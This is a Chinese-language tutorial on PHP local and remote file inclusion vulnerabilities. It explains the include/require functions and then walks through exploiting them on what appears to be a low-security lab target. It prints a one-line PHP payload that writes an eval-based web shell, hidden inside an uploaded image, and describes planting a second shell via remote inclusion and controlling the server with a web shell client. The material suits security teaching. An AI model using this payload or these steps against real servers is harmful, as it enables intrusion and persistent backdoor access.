1、原理及危害
文件包含漏洞:即file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include(),require()和include_once(),requir_once())利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。
- 1、文件包含即程序通过包含函数调用本地或远程文件,以此来实现拓展功能
- 2、被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞。
- 3、文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等函数。
文件包含分为两类:
本地文件包含LFI(local file include)当被包含的文件在服务器本地时,就形成本地文件包含
远程文件包含RFI(remote file include)当被包含的文件在第三方服务器时,叫做远程文件包含。
2、低安全级别渗透
2.1 本地文件包含漏洞
1、制作一句话图片木马。将一句话木马写入图片中,使用图片插入一句话工具,将下面的语句插入图片中。
1 <?fputs(fopen("webshell1.php","w"),'<?php eval($_POST[webshell]);?>')?>
2、上传图片木马文件。将制作好的图片上传到服务器上,在文件包含页面URL后跟上图片路径。
3、执行文件包含并生成后门。后台已生成一句话木马。
4、通过菜刀连接webshell
2.2 远程文件包含
将代码放在在远端服务器,可以保存在一个TXT文本上,远程服务器需要开启http服务。
执行远端服务器上的文本
靶机上生成了webshell2的一句话木马文件。使用菜刀连接即可控制服务器